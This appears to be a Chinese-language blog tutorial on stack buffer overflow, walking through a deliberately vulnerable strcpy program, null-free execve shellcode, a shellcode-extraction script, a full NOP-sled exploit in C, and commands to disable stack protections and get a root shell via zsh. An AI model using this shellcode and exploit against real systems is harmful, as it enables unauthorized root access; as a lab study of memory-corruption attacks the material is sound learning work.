以前对栈溢出攻击只是一种感官上的,最近学了shellcode,才真切地感觉到了栈溢出攻击有多么危险。
为了测试简单,写一个比较简单的程序,我们称之为bug.c
#include
#include
int main(int argc, char **argv) {
char buff[500];
strcpy(buff,argv[1]);
return 0;
}
好了,我们准备好进入root shell的汇编代码:
Section .text
global _start
_start:
xor eax,eax
push eax
push 0x68732f ; /sh 小端机存储
push 0x6e69622f ; /bin 小端存储
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb ; execve函数
int 0x80
nasm -f elf execve.asm
用ld链接:
ld execve -o execve.o
我们测试一下结果:
看来汇编代码没问题,我们接着用objdump把二进制代码抠出来,看看shellcode会不会出现00这样无效或低效的代码:很显然,第三行出现了00,这对于shellcode来说是致命的,所以我们想办法规避它。我们用"/"代替0.这样,汇编的源代码就变成了:
Section .text
global _start
_start:
xor eax,eax
push eax
push 0x68732f2f ; /sh 小端机存储
push 0x6e69622f ; /bin 小端存储
mov ebx,esp
push eax
push ebx
mov ecx,esp
xor edx,edx
mov al,0xb ; execve函数
int 0x80
我们编译链接一下,看代码运行结果:
ok,代码运行结果正常,我们这回再看看二进制代码:
ok,我们把shellcode提出来,我这里用了一个shell脚本:
#!/bin/sh
if [ ! $# == 1 ]; then
echo Usage: get-shellcode progname
exit
fi
objdump -d $1 | awk -F "\t+" '{print $2}' | sed "/^\s*$/{d}" | awk -F " " '{ for(i=1;i<=NF;i++){ printf("\\x%s",$i) } } END{printf("%s","\n")}'
执行如下命令:
ok,得到shellcode代码了。下面写一段栈溢出攻击的代码,我们称之为exploit.c
#include
#include
#include
char shellcode[] =
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80";
unsigned long get_stack_addr() {
__asm__("movl %esp,%eax");
}
int main(int argc, char **argv) {
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = get_stack_addr();
ret = esp - offset;
buffer = malloc(600);
// 把返回地址写进去
ptr = buffer;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4) *addr_ptr++ = ret;
// 前200个字节填充NOP指令
memset(buffer,'\x90',200);
// NOP指令之后填充shellcode
ptr = buffer + 200;
memcpy(ptr,shellcode,strlen(shellcode));
buffer[599] = '\0';
execl("./bug","bug",buffer,0);
free(buffer);
return 0;
}
这时候我们发现代码挂了。。。。
等等,我们忘记了现在os默认是打开栈地址随机化的,好的,先关掉它测试下:
还有当前是在fedora环境下测试,fedora有个机制保护栈缓冲区溢出攻击,那就是栈代码默认不可执行,我们也打开它:
sudo sysctl -w kernel.exec-shield=0
发现shell是进入了,但是并不是root shell,怎么回事呢?
这是因为操作系统为了防止缓冲区溢出做了很多事,其实一个手段就是保护bash——当shell调用时,自动降低权限。也就是说即使你在shell里面调用带有suid,且用户名为root的程序,也不会成功。怎么办呢?
在这里,我们可以用zsh代替bash,因为zsh默认是没有实现这种保护机制的。
ok,我们再测试下:
成功进入root shell.
可是,假如我们不想关掉栈地址随机化呢,怎么办?我们可以用下面的代码进行测试:
sh -c "while [ 1 ];do ./exploit;done"